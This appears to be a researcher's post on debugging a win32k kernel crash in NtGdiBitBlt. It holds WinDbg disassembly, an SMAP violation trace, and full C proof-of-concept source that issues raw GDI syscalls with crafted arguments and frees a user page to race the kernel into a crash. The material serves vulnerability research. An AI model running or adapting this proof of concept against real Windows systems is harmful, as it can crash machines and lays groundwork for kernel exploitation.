Smap violation :error code 0x1, cs 0x8, VA 0xc10a7c, cr3 0x9a001c0, eip 0xbf8099c4, eflags 0x10282, TEB 0x7ffda000
kd> u 0xbf8099c4
win32k!NtGdiBitBlt+0x81:
bf8099c4 8b896c010000 mov ecx,dword ptr [ecx+16Ch]
bf8099ca 53 push ebx
bf8099cb 8b5d14 mov ebx,dword ptr [ebp+14h]
bf8099ce 57 push edi
bf8099cf 8b7dfc mov edi,dword ptr [ebp-4]
bf8099d2 8b472c mov eax,dword ptr [edi+2Ch]
bf8099d5 8b906c010000 mov edx,dword ptr [eax+16Ch]
bf8099db 33ca xor ecx,edx
kd> u win32k!NtGdiBitBlt L50
win32k!NtGdiBitBlt:
bf80996d 8bff mov edi,edi
bf80996f 55 push ebp
bf809970 8bec mov ebp,esp
bf809972 83ec68 sub esp,68h
bf809975 8365f800 and dword ptr [ebp-8],0
bf809979 f6452b40 test byte ptr [ebp+2Bh],40h
bf80997d 0f853efeffff jne win32k!NtGdiBitBlt+0x12 (bf8097c1)
bf809983 56 push esi
bf809984 ff7508 push dword ptr [ebp+8]
bf809987 8b7528 mov esi,dword ptr [ebp+28h]
bf80998a 80652b7f and byte ptr [ebp+2Bh],7Fh
bf80998e 8d4dfc lea ecx,[ebp-4]
bf809991 e8dcaaffff call win32k!XDCOBJ::XDCOBJ (bf804472)
bf809996 8b45fc mov eax,dword ptr [ebp-4]
bf809999 85c0 test eax,eax
bf80999b 0f84a6030000 je win32k!NtGdiBitBlt+0x5ec (bf809d47)
bf8099a1 f6401980 test byte ptr [eax+19h],80h
bf8099a5 0f859c030000 jne win32k!NtGdiBitBlt+0x5ec (bf809d47)
bf8099ab ff751c push dword ptr [ebp+1Ch]
bf8099ae 8d4df0 lea ecx,[ebp-10h]
bf8099b1 e8bcaaffff call win32k!XDCOBJ::XDCOBJ (bf804472)
bf8099b6 8b4df0 mov ecx,dword ptr [ebp-10h]
bf8099b9 85c9 test ecx,ecx
bf8099bb 0f847a030000 je win32k!NtGdiBitBlt+0x5e0 (bf809d3b)
bf8099c1 8b492c mov ecx,dword ptr [ecx+2Ch]
bf8099c4 8b896c010000 mov ecx,dword ptr [ecx+16Ch]
bf8099ca 53 push ebx
bf8099cb 8b5d14 mov ebx,dword ptr [ebp+14h]
bf8099ce 57 push edi
bf8099cf 8b7dfc mov edi,dword ptr [ebp-4]
bf8099d2 8b472c mov eax,dword ptr [edi+2Ch]
bf8099d5 8b906c010000 mov edx,dword ptr [eax+16Ch]
bf8099db 33ca xor ecx,edx
bf8099dd f6c107 test cl,7
bf8099e0 0f8551040000 jne win32k!NtGdiBitBlt+0x9f (bf809e37)
bf8099e6 8365ec00 and dword ptr [ebp-14h],0
bf8099ea 8b750c mov esi,dword ptr [ebp+0Ch]
bf8099ed bf04020000 mov edi,204h
bf8099f2 57 push edi
bf8099f3 8d45fc lea eax,[ebp-4]
bf8099f6 50 push eax
bf8099f7 8d4dd8 lea ecx,[ebp-28h]
bf8099fa e893aaffff call win32k!EXFORMOBJ::vQuickInit (bf804492)
bf8099ff 57 push edi
bf809a00 8d45f0 lea eax,[ebp-10h]
bf809a03 50 push eax
bf809a04 8d4dcc lea ecx,[ebp-34h]
bf809a07 e886aaffff call win32k!EXFORMOBJ::vQuickInit (bf804492)
bf809a0c 8b45d8 mov eax,dword ptr [ebp-28h]
bf809a0f f6403801 test byte ptr [eax+38h],1
bf809a13 0f84fdfeffff je win32k!NtGdiBitBlt+0x599 (bf809916)
bf809a19 ff75cc push dword ptr [ebp-34h]
bf809a1c 8d4dd8 lea ecx,[ebp-28h]
bf809a1f e8a6b3ffff call win32k!EXFORMOBJ::bEqualExceptTranslations (bf804dca)
bf809a24 85c0 test eax,eax
bf809a26 0f84eafeffff je win32k!NtGdiBitBlt+0x599 (bf809916)
bf809a2c 8b4520 mov eax,dword ptr [ebp+20h]
bf809a2f 8b4d24 mov ecx,dword ptr [ebp+24h]
bf809a32 8b7d18 mov edi,dword ptr [ebp+18h]
bf809a35 8945ac mov dword ptr [ebp-54h],eax
bf809a38 03c3 add eax,ebx
bf809a3a 8945b4 mov dword ptr [ebp-4Ch],eax
bf809a3d 8d0439 lea eax,[ecx+edi]
bf809a40 8945b8 mov dword ptr [ebp-48h],eax
bf809a43 8d45ac lea eax,[ebp-54h]
bf809a46 894db0 mov dword ptr [ebp-50h],ecx
bf809a49 50 push eax
bf809a4a 8d4dcc lea ecx,[ebp-34h]
bf809a4d e806acffff call win32k!EXFORMOBJ::bXform (bf804658)
bf809a52 8d4dac lea ecx,[ebp-54h]
bf809a55 e8b3aaffff call win32k!ERECTL::vOrder (bf80450d)
bf809a5a 8b4510 mov eax,dword ptr [ebp+10h]
bf809a5d 8945c0 mov dword ptr [ebp-40h],eax
bf809a60 03c7 add eax,edi
bf809a62 8945c8 mov dword ptr [ebp-38h],eax
bf809a65 8975bc mov dword ptr [ebp-44h],esi
bf809a68 8d45bc lea eax,[ebp-44h]
bf809a6b 03f3 add esi,ebx
bf809a6d 50 push eax
bf809a6e 8d4dd8 lea ecx,[ebp-28h]
At win32k!NtGdiBitBlt+0x81:, it accesses user mode memory. I thought if I release that page, it will lead to a crash.
I use a poc which calls syscall NtGdiBitBlt directly from user mode. It's a poc for another vulnerability on win7 x86, but anyway.
That's the code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 | /* * compile: * cl.exe bug474.cpp user32.lib gdi32.lib shell32.lib */ #include <stdio.h> #include <tchar.h> #include <Windows.h> #include <time.h> #include <conio.h> HWND notepad(LPCSTR name) { char filename[1024], title[1024]; FILE *f=0x0; sprintf_s(filename, 1024, "%s.txt", name); DWORD rc = fopen_s(&f, filename, "w"); if(rc!=0) { printf("[-] failed to create temporary text file\n"); } fclose(f); HINSTANCE inst = ShellExecuteA(0x0, "open", "notepad.exe", filename, 0x0, SW_SHOW); if(inst < (HINSTANCE)33) { printf("[-] failed to start notepad\n"); } while(1) { sprintf_s(title, 1024, "%s - Notepad", name); HWND hwnd = FindWindowA(0x0, title); if(hwnd) { return hwnd; } sprintf_s(title, 1024, "%s.txt - Notepad", name); hwnd = FindWindowA(0x0, title); if(hwnd) { //printf("[-] failed to retrieve handle to notepad window\n"); //return 0x0; return hwnd; } } return 0x0; } __declspec(noinline) int __stdcall NtGdiSetLayout(HDC hdc, DWORD d0, DWORD d1) { __asm { push d1 push d0 push hdc push 0x0 mov eax, 0x1123 mov edx, 0x7ffe0300 call dword ptr [edx] add esp, 0x10 } } __declspec(noinline) int __stdcall NtGdiBitBlt(HDC hdc, DWORD dw1, DWORD dw2,DWORD dw3,DWORD dw4,HDC hdc2,DWORD dw6,DWORD dw7, DWORD dw8) { __asm { push dw8 push dw7 push dw6 push hdc2 push dw4 push dw3 push dw2 push dw1 push hdc push 0x0 mov eax, 0x100d //xp sp3 0x100d mov edx, 0x7ffe0300 call dword ptr [edx] add esp, 0x30 } } int _tmain(int argc, _TCHAR* argv[]) { HDC hdc1 = CreateDCA(0,"Microsoft XPS Document Writer", 0, 0); printf("[-] hdc1: %08x\n", hdc1); NtGdiSetLayout(hdc1, 0x6d, 0xc5abb63); HWND hwnd1 = notepad("test1"); printf("[-] hwnd1: %08x\n", hwnd1); HDC hdc2 = GetDC(hwnd1); printf("[-] hdc2: %08x\n", hdc2); _getch(); BOOL bResult = VirtualFree((LPVOID)0x1d90000, 0, MEM_RELEASE); if (FALSE == bResult) { printf("VirtualFree fail. %d\n", GetLastError()); } NtGdiBitBlt(hdc1, 0, 0xae, 0x4c, 0x1a, hdc2, 0xb2, 0x47, 0x330008); } |
Set a conditional breakpoint, because explorer.exe has a lot of NtGdiBitBlt.
bp /p 815ec1f8 win32k!NtGdiBitBlt
After hit, step to
win32k!NtGdiBitBlt+0x81:
bf8099c4 8b896c010000 mov ecx,dword ptr [ecx+16Ch]
At this point, ecx points to somewhere above 0x1d90000, this is specific to each process and even each run I guess. But I run many times it's always located at page 0x1d90000. So I decided to release this page to trigger a crash.
It turned out, 0x1d90000 was not valid until NtGdiBitBlt, after step into it, it shows that first call to win32k!XDCOBJ::XDCOBJ allocated this range of memory.
bf809991 e8dcaaffff call win32k!XDCOBJ::XDCOBJ (bf804472)
So it became a race condition for a crash. Between XDCOBJ::XDCOBJ and "mov ecx,dword ptr [ecx+16Ch]", if the page is released, it will lead to a crash. That's my guess.
When I set 0x1d90000's pte to invalid. "mov ecx,dword ptr [ecx+16Ch]" this instruction actually passed, I used F10(step over) and windbg stops at the next instruction. That's weird because if someone caught this exception, it won't stop at the next instruction. After I let go of the windbg, VM(I run os in VMWare) runs for a few seconds and froze. I tested it twice to make sure it did freeze.
Could be something wrong with vm emulation.